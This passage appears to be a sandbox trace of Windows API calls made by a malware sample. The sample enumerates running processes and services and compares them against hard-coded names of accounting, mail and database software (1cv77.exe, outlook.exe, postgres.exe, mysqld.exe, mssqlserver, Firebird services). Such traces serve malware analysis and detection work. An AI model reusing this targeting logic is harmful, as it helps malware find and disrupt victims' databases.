cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.898] lstrlenW (lpString="csrss.exe") returned 9 [0031.898] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.898] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.898] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.898] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0031.899] lstrlenW (lpString="winlogon.exe") returned 12 [0031.899] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0031.899] lstrlenW (lpString="services.exe") returned 12 [0031.899] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0031.900] lstrlenW (lpString="lsass.exe") returned 9 [0031.900] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0031.900] lstrlenW (lpString="lsm.exe") returned 7 [0031.900] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.901] lstrlenW (lpString="svchost.exe") returned 11 [0031.901] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.903] lstrlenW (lpString="svchost.exe") returned 11 [0031.903] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.903] lstrlenW (lpString="svchost.exe") returned 11 [0031.903] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.904] lstrlenW (lpString="svchost.exe") returned 11 [0031.904] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.904] lstrlenW (lpString="svchost.exe") returned 11 [0031.904] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0031.905] lstrlenW (lpString="audiodg.exe") returned 11 [0031.905] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.906] lstrlenW (lpString="svchost.exe") returned 11 [0031.906] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.906] lstrlenW (lpString="svchost.exe") returned 11 [0031.906] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0031.907] lstrlenW (lpString="dwm.exe") returned 7 [0031.907] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0031.907] lstrlenW (lpString="explorer.exe") returned 12 [0031.907] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0031.908] lstrlenW (lpString="spoolsv.exe") returned 11 [0031.908] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.977] lstrlenW (lpString="taskhost.exe") returned 12 [0031.977] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.977] lstrlenW (lpString="svchost.exe") returned 11 [0031.977] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0031.978] lstrlenW (lpString="taskeng.exe") returned 11 [0031.978] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.979] lstrlenW (lpString="taskhost.exe") returned 12 [0031.979] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0031.979] lstrlenW (lpString="chem venues.exe") returned 15 [0031.980] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0031.981] lstrlenW (lpString="month.exe") returned 9 [0031.981] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0031.982] lstrlenW (lpString="glasgow.exe") returned 11 [0031.982] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0031.982] lstrlenW (lpString="rubber.exe") returned 10 [0031.982] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0031.983] lstrlenW (lpString="petroleum.exe") returned 13 [0031.983] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0031.984] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0031.984] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0031.984] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0031.984] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0031.985] lstrlenW (lpString="batman_oliver.exe") returned 17 [0031.985] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0031.985] lstrlenW (lpString="formation.exe") returned 13 [0031.986] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0031.986] lstrlenW (lpString="whole.exe") returned 9 [0031.986] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0031.987] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0031.987] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0031.987] lstrlenW (lpString="disorder.exe") returned 12 [0031.987] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0031.988] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0031.988] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0031.989] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0031.989] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0031.989] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0031.989] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0031.990] lstrlenW (lpString="perspective.exe") returned 15 [0031.990] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0031.991] lstrlenW (lpString="demand-site.exe") returned 15 [0031.991] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0031.991] lstrlenW (lpString="attachment.exe") returned 14 [0031.991] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0031.992] lstrlenW (lpString="valid-permit.exe") returned 16 [0031.992] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0031.992] lstrlenW (lpString="knights.exe") returned 11 [0031.992] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0031.993] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0031.993] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0031.994] lstrlenW (lpString="mobsync.exe") returned 11 [0031.994] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.994] lstrlenW (lpString="dllhost.exe") returned 11 [0031.994] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.996] lstrlenW (lpString="dllhost.exe") returned 11 [0031.996] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0031.996] lstrlenW (lpString="ohbdap.exe") returned 10 [0031.996] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0031.997] lstrlenW (lpString="cmd.exe") returned 7 [0031.997] Process32NextW (in: hSnapshot=0x118, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0031.998] CloseHandle (hObject=0x118) returned 1 [0031.998] Sleep (dwMilliseconds=0x1f4) [0033.076] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fa58 [0033.076] EnumServicesStatusExW (in: hSCManager=0x52fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0033.077] GetLastError () returned 0xea [0033.077] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x5a5b90 [0033.077] EnumServicesStatusExW (in: hSCManager=0x52fa58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5b90, cbBufSize=0x11e4, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5b90, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0033.077] CloseServiceHandle (hSCObject=0x52fa58) returned 1 [0033.078] lstrlenW (lpString="Appinfo") returned 7 [0033.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0033.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0033.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0033.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0033.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0033.078] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0033.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.078] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0033.078] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0033.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0033.078] lstrlenW (lpString="AudioSrv") returned 8 [0033.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0033.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0033.078] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0033.078] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0033.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0033.078] lstrlenW (lpString="BFE") returned 3 [0033.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0033.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0033.078] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0033.078] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0033.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0033.078] lstrlenW (lpString="CryptSvc") returned 8 [0033.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0033.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0033.078] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0033.078] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0033.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0033.079] lstrlenW (lpString="CscService") returned 10 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0033.079] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0033.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0033.079] lstrlenW (lpString="DcomLaunch") returned 10 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0033.079] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0033.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0033.079] lstrlenW (lpString="Dhcp") returned 4 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0033.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0033.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0033.079] lstrlenW (lpString="Dnscache") returned 8 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0033.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0033.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0033.079] lstrlenW (lpString="DPS") returned 3 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0033.079] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0033.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0033.079] lstrlenW (lpString="eventlog") returned 8 [0033.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0033.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0033.079] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0033.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0033.080] lstrlenW (lpString="EventSystem") returned 11 [0033.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0033.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0033.080] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0033.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0033.080] lstrlenW (lpString="gpsvc") returned 5 [0033.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0033.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0033.080] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0033.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0033.080] lstrlenW (lpString="iphlpsvc") returned 8 [0033.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.080] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0033.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0033.080] lstrlenW (lpString="LanmanServer") returned 12 [0033.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0033.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0033.080] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0033.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0033.080] lstrlenW (lpString="LanmanWorkstation") returned 17 [0033.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.080] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0033.080] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0033.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0033.081] lstrlenW (lpString="lmhosts") returned 7 [0033.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 